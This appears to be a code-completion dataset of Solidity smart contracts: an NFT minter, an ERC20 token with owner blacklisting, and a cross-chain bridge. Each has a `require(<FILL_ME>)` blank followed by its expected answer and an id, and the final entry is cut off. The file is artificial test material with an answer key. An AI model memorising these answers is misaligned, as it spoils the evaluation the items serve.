function mintForMaestro(uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
}
function mintForOthersWL(uint256 _collectionNumber, uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
require(!paused, "The contract is paused!");
require(!pausedForOthers[_collectionNumber], "Minting for Others is paused!");
require(msg.value >= costForOthers * _mintAmount, "Insufficient funds!");
require(whitelistForOthers[_collectionNumber][msg.sender], "This account does not exist in whitelist");
//_mintLoop(msg.sender, _mintAmount);
for (uint256 i = 0; i < _mintAmount; i++) {
require(mintCountForOthers[_collectionNumber] < maxMintCountForOthers[_collectionNumber]);
require(<FILL_ME>)
supply.increment();
_safeMint(msg.sender, firstNumberForOthers[_collectionNumber].add(mintCountForOthers[_collectionNumber]).add(1));
mintCountForOthers[_collectionNumber] = mintCountForOthers[_collectionNumber] + 1;
mintedForOthers[_collectionNumber][msg.sender] = mintedForOthers[_collectionNumber][msg.sender].add(1);
}
}
function mintForOthers(uint256 _collectionNumber, uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
}
// function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner {
// _mintLoop(_receiver, _mintAmount);
// }
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setCost(uint256 _costForMaestro, uint256 _costForOthers) public onlyOwner {
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
}
function setMaxMintAmountForMaestroPerEach(uint256 _maxMintAmountForMaestroPerEach) public onlyOwner {
}
function setMaxMintAmountForOthersPerEach(uint256 _maxMintAmountForOthersPerEach) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setPausedForMaestro(bool _state) public onlyOwner {
}
function setPausedForMaestroPublicMinting(bool _state) public onlyOwner {
}
function setPausedForOthers(uint256 _collectionNumber, bool _state) public onlyOwner {
}
function setPausedForOthersPublicMinting(uint256 _collectionNumber, bool _state) public onlyOwner {
}
function withdraw() public onlyOwner {
}
function ownerMintLoop(address[] calldata _mintingMembers, uint256[] calldata _tokenIds) public {
}
// function _mintLoop(address _receiver, uint256 _mintAmount) internal {
// for (uint256 i = 0; i < _mintAmount; i++) {
// supply.increment();
// _safeMint(_receiver, supply.current());
// }
// }
function _baseURI() internal view virtual override returns (string memory) {
}
function setWhitelistForMaestroForLoop(address[] calldata _whitelistMembers) public {
}
function setWhitelistForMaestro(address _whitelistMember, bool _enable) public {
}
function setWhitelistForOthersForLoop(uint256 _collectionNumber, address[] calldata _whitelistMembers) public {
}
function setWhitelistForOthers(uint256 _collectionNumber, address _whitelistMember, bool _enable) public {
}
function getMintCountForMaestro() public view returns (uint256) {
}
function getMintCountForOthers(uint256 _collectionNumber) public view returns (uint256) {
}
function getWhitelistedForMaestro(address _checkAddress) public view returns (bool) {
}
function getWhitelistedForOthers(uint256 _collectionNumber, address _checkAddress) public view returns (bool) {
}
function getMintedForMaestro(address _checkAddress) public view returns (uint256) {
}
function getMintedForOthers(uint256 _collectionNumber, address _checkAddress) public view returns (uint256) {
}
}
| mintedForOthers[_collectionNumber][msg.sender]<maxMintAmountForOthersPerEach,"Already minted!" | 499,002 | mintedForOthers[_collectionNumber][msg.sender]<maxMintAmountForOthersPerEach |
"Minting for Others (Public Minting) is paused!" | pragma solidity >=0.7.0 <0.9.0;
contract XENEXIS is ERC721, Ownable {
using Strings for uint256;
using Counters for Counters.Counter;
using SafeMath for uint256;
mapping (address => bool) public whitelistForMaestro;
mapping (uint256 => mapping (address => bool)) public whitelistForOthers;
mapping (address => uint256) public mintedForMaestro;
mapping (uint256 => mapping (address => uint256)) public mintedForOthers;
Counters.Counter private supply;
string public uriPrefix = "";
string public uriSuffix = ".json";
uint256 public costForMaestro = 1.1 ether;
uint256 public costForOthers = 0.11 ether;
uint256 public maxSupply = 7888;
uint256 public maxMintAmountPerTx = 5;
uint256 public maxMintAmountForMaestroPerEach = 1;
uint256 public maxMintAmountForOthersPerEach = 5;
uint256 public mintCountForMaestro = 0;
uint256 public maxMintCountForMaestro = 111;
uint256[] public mintCountForOthers;
uint256[] public maxMintCountForOthers;
uint256[] public firstNumberForOthers;
uint256 public eachMintCountForOthers = 0;
uint256 public eachMaxMintCountForOthers = 1111;
bool public paused = true;
bool public pausedForMaestro = true;
bool public pausedForMaestroPublicMinting = true;
bool[] public pausedForOthers;
bool[] public pausedForOthersPublicMinting;
address public managerAccount;
constructor() ERC721("XENEXIS", "XNX") {
}
modifier mintCompliance(uint256 _mintAmount) {
}
function totalSupply() public view returns (uint256) {
}
function mintForMaestroWL(uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
}
function mintForMaestro(uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
}
function mintForOthersWL(uint256 _collectionNumber, uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
}
function mintForOthers(uint256 _collectionNumber, uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
require(!paused, "The contract is paused!");
require(!pausedForOthers[_collectionNumber], "Minting for Others is paused!");
require(<FILL_ME>)
require(msg.value >= costForOthers * _mintAmount, "Insufficient funds!");
//_mintLoop(msg.sender, _mintAmount);
for (uint256 i = 0; i < _mintAmount; i++) {
require(mintCountForOthers[_collectionNumber] < maxMintCountForOthers[_collectionNumber]);
require(mintedForOthers[_collectionNumber][msg.sender] < maxMintAmountForOthersPerEach, "Already minted!");
supply.increment();
_safeMint(msg.sender, firstNumberForOthers[_collectionNumber].add(mintCountForOthers[_collectionNumber]).add(1));
mintCountForOthers[_collectionNumber] = mintCountForOthers[_collectionNumber] + 1;
mintedForOthers[_collectionNumber][msg.sender] = mintedForOthers[_collectionNumber][msg.sender].add(1);
}
}
// function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner {
// _mintLoop(_receiver, _mintAmount);
// }
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setCost(uint256 _costForMaestro, uint256 _costForOthers) public onlyOwner {
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
}
function setMaxMintAmountForMaestroPerEach(uint256 _maxMintAmountForMaestroPerEach) public onlyOwner {
}
function setMaxMintAmountForOthersPerEach(uint256 _maxMintAmountForOthersPerEach) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setPausedForMaestro(bool _state) public onlyOwner {
}
function setPausedForMaestroPublicMinting(bool _state) public onlyOwner {
}
function setPausedForOthers(uint256 _collectionNumber, bool _state) public onlyOwner {
}
function setPausedForOthersPublicMinting(uint256 _collectionNumber, bool _state) public onlyOwner {
}
function withdraw() public onlyOwner {
}
function ownerMintLoop(address[] calldata _mintingMembers, uint256[] calldata _tokenIds) public {
}
// function _mintLoop(address _receiver, uint256 _mintAmount) internal {
// for (uint256 i = 0; i < _mintAmount; i++) {
// supply.increment();
// _safeMint(_receiver, supply.current());
// }
// }
function _baseURI() internal view virtual override returns (string memory) {
}
function setWhitelistForMaestroForLoop(address[] calldata _whitelistMembers) public {
}
function setWhitelistForMaestro(address _whitelistMember, bool _enable) public {
}
function setWhitelistForOthersForLoop(uint256 _collectionNumber, address[] calldata _whitelistMembers) public {
}
function setWhitelistForOthers(uint256 _collectionNumber, address _whitelistMember, bool _enable) public {
}
function getMintCountForMaestro() public view returns (uint256) {
}
function getMintCountForOthers(uint256 _collectionNumber) public view returns (uint256) {
}
function getWhitelistedForMaestro(address _checkAddress) public view returns (bool) {
}
function getWhitelistedForOthers(uint256 _collectionNumber, address _checkAddress) public view returns (bool) {
}
function getMintedForMaestro(address _checkAddress) public view returns (uint256) {
}
function getMintedForOthers(uint256 _collectionNumber, address _checkAddress) public view returns (uint256) {
}
}
| !pausedForOthersPublicMinting[_collectionNumber],"Minting for Others (Public Minting) is paused!" | 499,002 | !pausedForOthersPublicMinting[_collectionNumber] |
"trade not started" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "./IERC20.sol";
import "./blacklist.sol";
import "./safeMath.sol";
import "./ownable.sol";
import "./address.sol";
import "./liquifier.sol";
import "./IERC20Metadata.sol";
/**
* Tokenomics:
* Liquidity 3%
* Dev 2%
*/
abstract contract Tokenomics {
using SafeMath for uint256;
// !!! IMPORTANT !!!!
address public uniswapV2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/// SET THE SAME ROUTER ADDRESS ON LIQUIFIER CONTRACT BELOW !!
// --------------------- Token Settings ------------------- //
address public developerFEEAddress =
0xb280eB22334f4c3b0cC2fE6C5665FE11B15AE5e3;
/**
*
* The value of fees is given in part per 1000 (based on the value of FEES_DIVISOR),
* e.g. for 5% use 50, for 3.5% use 35, etc.
*/
uint256 public _devFee = 20; // 2%
uint256 public _liqFee = 30; // 3%
string internal constant NAME = "GrandtoClub";
string internal constant SYMBOL = "GTC";
uint16 internal constant FEES_DIVISOR = 10**3;
uint8 internal constant DECIMALS = 18;
uint256 internal constant ZEROES = 10**DECIMALS;
uint256 private constant MAX = ~uint256(0);
uint256 internal constant TOTAL_SUPPLY = 10000000 * ZEROES; // 10 MM
/**
* @dev Set the maximum transaction amount allowed in a transfer.
*
*/
uint256 public constant maxTransactionAmount = 75000 * ZEROES; // 0.75% of the total supply //75000
/**
*
* IMPORTANT: This value MUST be greater than `numberOfTokensToSwapToLiquidity` set below,
* otherwise the liquidity swap will never be executed
*/
uint256 public constant maxWalletBalance = 150000 * ZEROES; // 1.5% of the total supply //150000
/**
* @dev Set the number of tokens to swap and add to liquidity.
* See: `Liquifier`
*/
uint256 public constant numberOfTokensToSwapToLiquidity =
TOTAL_SUPPLY / 1000; // 0.1% of the total supply //10k in contract before liq
// --------------------- Fees Settings ------------------- //
enum FeeType {
Liquidity,
ExternalToETH
}
struct Fee {
FeeType name;
uint256 value;
address recipient;
uint256 total;
}
Fee[] internal fees;
uint256 internal sumOfFees;
constructor() {
}
function _addFee(
FeeType name,
uint256 value,
address recipient
) private {
}
function _addFees() private {
}
function _getFeesCount() internal view returns (uint256) {
}
function _getFeeStruct(uint256 index) private view returns (Fee storage) {
}
function _getFee(uint256 index)
internal
view
returns (
FeeType,
uint256,
address,
uint256
)
{
}
function _addFeeCollectedAmount(uint256 index, uint256 amount) internal {
}
// function getCollectedFeeTotal(uint256 index) external view returns (uint256){
function getCollectedFeeTotal(uint256 index)
internal
view
returns (uint256)
{
}
}
abstract contract Base is
IERC20,
IERC20Metadata,
Ownable,
Tokenomics,
Blacklist
{
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
mapping(address => bool) internal _isExcludedFromFee;
constructor() {
}
function changeDevFeeAddress(address _newDevFeeAddress) public onlyOwner {
}
function changeDevFee(uint256 _newDevFee) public onlyOwner {
}
function changeLiqFee(uint256 _newLiqFee) public onlyOwner {
}
function blackListWallets(address _wallet, bool _status) public onlyOwner {
}
// BLACKLIST ARRAY OF ADDRESSES EG: ["0X000...","0X000","0X000"],true
function blackListWalletsBulk(address[] memory _wallets, bool _status)
public
onlyOwner
{
}
function removeBlackListWallet(address _wallet) public onlyOwner {
}
function removeBlackListWalletBulk(address[] memory _wallets)
public
onlyOwner
{
}
/** Functions required by IERC20Metadata **/
function name() external pure override returns (string memory) {
}
function symbol() external pure override returns (string memory) {
}
function decimals() external pure override returns (uint8) {
}
/** Functions required by IERC20 **/
function totalSupply() external pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
}
function allowance(address owner, address spender)
external
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
external
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
}
function setExcludedFromFee(address account, bool value)
external
onlyOwner
{
}
function isExcludedFromFee(address account) public view returns (bool) {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal {
}
address[] private whitelistedSenders;
address[] private whitelistedRecipients;
function _isUnlimitedSender(address account) public view returns (bool) {
}
function _isUnlimitedRecipient(address account) public view returns (bool) {
}
function _addToWhitelistedSenders(address account) internal {
}
function addToWhitelistedSenders(address account) external onlyOwner {
}
function removeFromWhitelistedSenders(address account) external onlyOwner {
}
function _addToWhitelistedRecipients(address account) internal {
}
function addToWhitelistedRecipients(address account) external onlyOwner {
}
function removeFromWhitelistedRecipients(address account)
external
onlyOwner
{
}
bool public tradeStarted = false;
// once enabled, can never be turned off
function EnableTrading() external onlyOwner {
}
modifier isTradeStarted(address from, address to) {
if (!tradeStarted) {
require(<FILL_ME>)
}
_;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) private isTradeStarted(sender, recipient) {
}
function _transferTokens(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _takeFees(uint256 amount, uint256 sumOfFees) private {
}
function _getValues(uint256 tAmount, uint256 feesSum)
internal
pure
returns (uint256, uint256)
{
}
function _getCurrentSupply() internal pure returns (uint256) {
}
/**
* @dev Hook that is called before any transfer of tokens.
*/
function _beforeTokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) internal virtual;
function _getSumOfFees(address sender, uint256 amount)
internal
view
virtual
returns (uint256);
/**
* @dev A delegate which should return true if the given address is the V2 Pair and false otherwise
*/
function _isV2Pair(address account) internal view virtual returns (bool);
/**
* @dev Hook that is called before the `Transfer` event is emitted if fees are enabled for the transfer
*/
function _takeTransactionFees(uint256 amount) internal virtual;
}
abstract contract Grandto is Base, Liquifier {
using SafeMath for uint256;
// constructor(string memory _name, string memory _symbol, uint8 _decimals){
constructor(Env _env) {
}
function _isV2Pair(address account) internal view override returns (bool) {
}
function _getSumOfFees(address sender, uint256 amount)
internal
view
override
returns (uint256)
{
}
function _getAntiwhaleFees(uint256, uint256)
internal
view
returns (uint256)
{
}
// function _beforeTokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) internal override {
function _beforeTokenTransfer(
address sender,
address,
uint256,
bool
) internal override {
}
function _takeTransactionFees(uint256 amount) internal override {
}
function _takeFee(
uint256 amount,
uint256 fee,
address recipient,
uint256 index
) private {
}
function _approveDelegate(
address owner,
address spender,
uint256 amount
) internal override {
}
}
contract GrandtoClub is Grandto {
constructor() Grandto(Env.MainnetV2) {
}
}
| _isUnlimitedSender(from)||_isUnlimitedRecipient(to),"trade not started" | 499,008 | _isUnlimitedSender(from)||_isUnlimitedRecipient(to) |
"You are not allowed" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "./IERC20.sol";
import "./blacklist.sol";
import "./safeMath.sol";
import "./ownable.sol";
import "./address.sol";
import "./liquifier.sol";
import "./IERC20Metadata.sol";
/**
* Tokenomics:
* Liquidity 3%
* Dev 2%
*/
abstract contract Tokenomics {
using SafeMath for uint256;
// !!! IMPORTANT !!!!
address public uniswapV2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/// SET THE SAME ROUTER ADDRESS ON LIQUIFIER CONTRACT BELOW !!
// --------------------- Token Settings ------------------- //
address public developerFEEAddress =
0xb280eB22334f4c3b0cC2fE6C5665FE11B15AE5e3;
/**
*
* The value of fees is given in part per 1000 (based on the value of FEES_DIVISOR),
* e.g. for 5% use 50, for 3.5% use 35, etc.
*/
uint256 public _devFee = 20; // 2%
uint256 public _liqFee = 30; // 3%
string internal constant NAME = "GrandtoClub";
string internal constant SYMBOL = "GTC";
uint16 internal constant FEES_DIVISOR = 10**3;
uint8 internal constant DECIMALS = 18;
uint256 internal constant ZEROES = 10**DECIMALS;
uint256 private constant MAX = ~uint256(0);
uint256 internal constant TOTAL_SUPPLY = 10000000 * ZEROES; // 10 MM
/**
* @dev Set the maximum transaction amount allowed in a transfer.
*
*/
uint256 public constant maxTransactionAmount = 75000 * ZEROES; // 0.75% of the total supply //75000
/**
*
* IMPORTANT: This value MUST be greater than `numberOfTokensToSwapToLiquidity` set below,
* otherwise the liquidity swap will never be executed
*/
uint256 public constant maxWalletBalance = 150000 * ZEROES; // 1.5% of the total supply //150000
/**
* @dev Set the number of tokens to swap and add to liquidity.
* See: `Liquifier`
*/
uint256 public constant numberOfTokensToSwapToLiquidity =
TOTAL_SUPPLY / 1000; // 0.1% of the total supply //10k in contract before liq
// --------------------- Fees Settings ------------------- //
enum FeeType {
Liquidity,
ExternalToETH
}
struct Fee {
FeeType name;
uint256 value;
address recipient;
uint256 total;
}
Fee[] internal fees;
uint256 internal sumOfFees;
constructor() {
}
function _addFee(
FeeType name,
uint256 value,
address recipient
) private {
}
function _addFees() private {
}
function _getFeesCount() internal view returns (uint256) {
}
function _getFeeStruct(uint256 index) private view returns (Fee storage) {
}
function _getFee(uint256 index)
internal
view
returns (
FeeType,
uint256,
address,
uint256
)
{
}
function _addFeeCollectedAmount(uint256 index, uint256 amount) internal {
}
// function getCollectedFeeTotal(uint256 index) external view returns (uint256){
function getCollectedFeeTotal(uint256 index)
internal
view
returns (uint256)
{
}
}
abstract contract Base is
IERC20,
IERC20Metadata,
Ownable,
Tokenomics,
Blacklist
{
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
mapping(address => bool) internal _isExcludedFromFee;
constructor() {
}
function changeDevFeeAddress(address _newDevFeeAddress) public onlyOwner {
}
function changeDevFee(uint256 _newDevFee) public onlyOwner {
}
function changeLiqFee(uint256 _newLiqFee) public onlyOwner {
}
function blackListWallets(address _wallet, bool _status) public onlyOwner {
}
// BLACKLIST ARRAY OF ADDRESSES EG: ["0X000...","0X000","0X000"],true
function blackListWalletsBulk(address[] memory _wallets, bool _status)
public
onlyOwner
{
}
function removeBlackListWallet(address _wallet) public onlyOwner {
}
function removeBlackListWalletBulk(address[] memory _wallets)
public
onlyOwner
{
}
/** Functions required by IERC20Metadata **/
function name() external pure override returns (string memory) {
}
function symbol() external pure override returns (string memory) {
}
function decimals() external pure override returns (uint8) {
}
/** Functions required by IERC20 **/
function totalSupply() external pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
}
function allowance(address owner, address spender)
external
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
external
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
}
function setExcludedFromFee(address account, bool value)
external
onlyOwner
{
}
function isExcludedFromFee(address account) public view returns (bool) {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal {
}
address[] private whitelistedSenders;
address[] private whitelistedRecipients;
function _isUnlimitedSender(address account) public view returns (bool) {
}
function _isUnlimitedRecipient(address account) public view returns (bool) {
}
function _addToWhitelistedSenders(address account) internal {
}
function addToWhitelistedSenders(address account) external onlyOwner {
}
function removeFromWhitelistedSenders(address account) external onlyOwner {
}
function _addToWhitelistedRecipients(address account) internal {
}
function addToWhitelistedRecipients(address account) external onlyOwner {
}
function removeFromWhitelistedRecipients(address account)
external
onlyOwner
{
}
bool public tradeStarted = false;
// once enabled, can never be turned off
function EnableTrading() external onlyOwner {
}
modifier isTradeStarted(address from, address to) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) private isTradeStarted(sender, recipient) {
require(
sender != address(0),
"BaseRfiToken: transfer from the zero address"
);
require(
recipient != address(0),
"BaseRfiToken: transfer to the zero address"
);
require(amount > 0, "Transfer amount must be greater than zero");
require(<FILL_ME>)
// indicates whether or not feee should be deducted from the transfer
bool takeFee = true;
if (
amount > maxTransactionAmount &&
!_isUnlimitedSender(sender) &&
!_isUnlimitedRecipient(recipient)
) {
revert("Transfer amount exceeds the maxTxAmount.");
}
if (
maxWalletBalance > 0 &&
!_isUnlimitedSender(sender) &&
!_isUnlimitedRecipient(recipient) &&
!_isV2Pair(recipient)
) {
uint256 recipientBalance = balanceOf(recipient);
require(
recipientBalance + amount <= maxWalletBalance,
"New balance would exceed the maxWalletBalance"
);
}
// if any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]) {
takeFee = false;
}
_beforeTokenTransfer(sender, recipient, amount, takeFee);
_transferTokens(sender, recipient, amount, takeFee);
}
function _transferTokens(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _takeFees(uint256 amount, uint256 sumOfFees) private {
}
function _getValues(uint256 tAmount, uint256 feesSum)
internal
pure
returns (uint256, uint256)
{
}
function _getCurrentSupply() internal pure returns (uint256) {
}
/**
* @dev Hook that is called before any transfer of tokens.
*/
function _beforeTokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) internal virtual;
function _getSumOfFees(address sender, uint256 amount)
internal
view
virtual
returns (uint256);
/**
* @dev A delegate which should return true if the given address is the V2 Pair and false otherwise
*/
function _isV2Pair(address account) internal view virtual returns (bool);
/**
* @dev Hook that is called before the `Transfer` event is emitted if fees are enabled for the transfer
*/
function _takeTransactionFees(uint256 amount) internal virtual;
}
abstract contract Grandto is Base, Liquifier {
using SafeMath for uint256;
// constructor(string memory _name, string memory _symbol, uint8 _decimals){
constructor(Env _env) {
}
function _isV2Pair(address account) internal view override returns (bool) {
}
function _getSumOfFees(address sender, uint256 amount)
internal
view
override
returns (uint256)
{
}
function _getAntiwhaleFees(uint256, uint256)
internal
view
returns (uint256)
{
}
// function _beforeTokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) internal override {
function _beforeTokenTransfer(
address sender,
address,
uint256,
bool
) internal override {
}
function _takeTransactionFees(uint256 amount) internal override {
}
function _takeFee(
uint256 amount,
uint256 fee,
address recipient,
uint256 index
) private {
}
function _approveDelegate(
address owner,
address spender,
uint256 amount
) internal override {
}
}
contract GrandtoClub is Grandto {
constructor() Grandto(Env.MainnetV2) {
}
}
| !antiBot._blacklistedUsers[recipient]&&!antiBot._blacklistedUsers[sender],"You are not allowed" | 499,008 | !antiBot._blacklistedUsers[recipient]&&!antiBot._blacklistedUsers[sender] |
"NOT_FROM_INBOX" | // SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
import "./Inbox.sol";
import "./Outbox.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "./interfaces/IBridge.sol";
contract Bridge is OwnableUpgradeable, IBridge {
using Address for address;
struct InOutInfo {
uint256 index;
bool allowed;
}
mapping(address => InOutInfo) private allowedInboxesMap;
mapping(address => InOutInfo) private allowedOutboxesMap;
address[] public allowedInboxList;
address[] public allowedOutboxList;
address public override activeOutbox;
// Accumulator for delayed inbox; tail represents hash of the current state; each element represents the inclusion of a new message.
bytes32[] public override inboxAccs;
function initialize() external initializer {
}
function allowedInboxes(address inbox) external view override returns (bool) {
}
function allowedOutboxes(address outbox) external view override returns (bool) {
}
function deliverMessageToInbox(
uint8 kind,
address sender,
bytes32 messageDataHash
) external payable override returns (uint256) {
require(<FILL_ME>)
return
addMessageToInbox(
kind,
sender,
block.number,
block.timestamp, // solhint-disable-line not-rely-on-time
tx.gasprice,
messageDataHash
);
}
function addMessageToInbox(
uint8 kind,
address sender,
uint256 blockNumber,
uint256 blockTimestamp,
uint256 gasPrice,
bytes32 messageDataHash
) internal returns (uint256) {
}
function executeCall(
address destAddr,
uint256 amount,
bytes calldata data
) external override returns (bool success, bytes memory returnData) {
}
function setInbox(address inbox, bool enabled) external override onlyOwner {
}
function setOutbox(address outbox, bool enabled) external override onlyOwner {
}
function messageCount() external view override returns (uint256) {
}
}
| allowedInboxesMap[msg.sender].allowed,"NOT_FROM_INBOX" | 499,249 | allowedInboxesMap[msg.sender].allowed |
"NOT_FROM_OUTBOX" | // SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
import "./Inbox.sol";
import "./Outbox.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "./interfaces/IBridge.sol";
contract Bridge is OwnableUpgradeable, IBridge {
using Address for address;
struct InOutInfo {
uint256 index;
bool allowed;
}
mapping(address => InOutInfo) private allowedInboxesMap;
mapping(address => InOutInfo) private allowedOutboxesMap;
address[] public allowedInboxList;
address[] public allowedOutboxList;
address public override activeOutbox;
// Accumulator for delayed inbox; tail represents hash of the current state; each element represents the inclusion of a new message.
bytes32[] public override inboxAccs;
function initialize() external initializer {
}
function allowedInboxes(address inbox) external view override returns (bool) {
}
function allowedOutboxes(address outbox) external view override returns (bool) {
}
function deliverMessageToInbox(
uint8 kind,
address sender,
bytes32 messageDataHash
) external payable override returns (uint256) {
}
function addMessageToInbox(
uint8 kind,
address sender,
uint256 blockNumber,
uint256 blockTimestamp,
uint256 gasPrice,
bytes32 messageDataHash
) internal returns (uint256) {
}
function executeCall(
address destAddr,
uint256 amount,
bytes calldata data
) external override returns (bool success, bytes memory returnData) {
require(<FILL_ME>)
if (data.length > 0) require(destAddr.isContract(), "NO_CODE_AT_DEST");
address currentOutbox = activeOutbox;
activeOutbox = msg.sender;
// We set and reset active outbox around external call so activeOutbox remains valid during call
(success, returnData) = destAddr.call{ value: amount }(data);
activeOutbox = currentOutbox;
emit BridgeCallTriggered(msg.sender, destAddr, amount, data);
}
function setInbox(address inbox, bool enabled) external override onlyOwner {
}
function setOutbox(address outbox, bool enabled) external override onlyOwner {
}
function messageCount() external view override returns (uint256) {
}
}
| allowedOutboxesMap[msg.sender].allowed,"NOT_FROM_OUTBOX" | 499,249 | allowedOutboxesMap[msg.sender].allowed |
"NO_CODE_AT_DEST" | // SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
import "./Inbox.sol";
import "./Outbox.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "./interfaces/IBridge.sol";
contract Bridge is OwnableUpgradeable, IBridge {
using Address for address;
struct InOutInfo {
uint256 index;
bool allowed;
}
mapping(address => InOutInfo) private allowedInboxesMap;
mapping(address => InOutInfo) private allowedOutboxesMap;
address[] public allowedInboxList;
address[] public allowedOutboxList;
address public override activeOutbox;
// Accumulator for delayed inbox; tail represents hash of the current state; each element represents the inclusion of a new message.
bytes32[] public override inboxAccs;
function initialize() external initializer {
}
function allowedInboxes(address inbox) external view override returns (bool) {
}
function allowedOutboxes(address outbox) external view override returns (bool) {
}
function deliverMessageToInbox(
uint8 kind,
address sender,
bytes32 messageDataHash
) external payable override returns (uint256) {
}
function addMessageToInbox(
uint8 kind,
address sender,
uint256 blockNumber,
uint256 blockTimestamp,
uint256 gasPrice,
bytes32 messageDataHash
) internal returns (uint256) {
}
function executeCall(
address destAddr,
uint256 amount,
bytes calldata data
) external override returns (bool success, bytes memory returnData) {
require(allowedOutboxesMap[msg.sender].allowed, "NOT_FROM_OUTBOX");
if (data.length > 0) require(<FILL_ME>)
address currentOutbox = activeOutbox;
activeOutbox = msg.sender;
// We set and reset active outbox around external call so activeOutbox remains valid during call
(success, returnData) = destAddr.call{ value: amount }(data);
activeOutbox = currentOutbox;
emit BridgeCallTriggered(msg.sender, destAddr, amount, data);
}
function setInbox(address inbox, bool enabled) external override onlyOwner {
}
function setOutbox(address outbox, bool enabled) external override onlyOwner {
}
function messageCount() external view override returns (uint256) {
}
}
| destAddr.isContract(),"NO_CODE_AT_DEST" | 499,249 | destAddr.isContract() |
null | pragma solidity 0.4.24;
contract PermittableToken is ERC677BridgeToken {
string public constant version = "1";
// EIP712 niceties
bytes32 public DOMAIN_SEPARATOR;
// bytes32 public constant PERMIT_TYPEHASH_LEGACY = keccak256("Permit(address holder,address spender,uint256 nonce,uint256 expiry,bool allowed)");
bytes32 public constant PERMIT_TYPEHASH_LEGACY = 0xea2aa0a1be11a07ed86d755c93467f4f82362b452371d1ba94d1715123511acb;
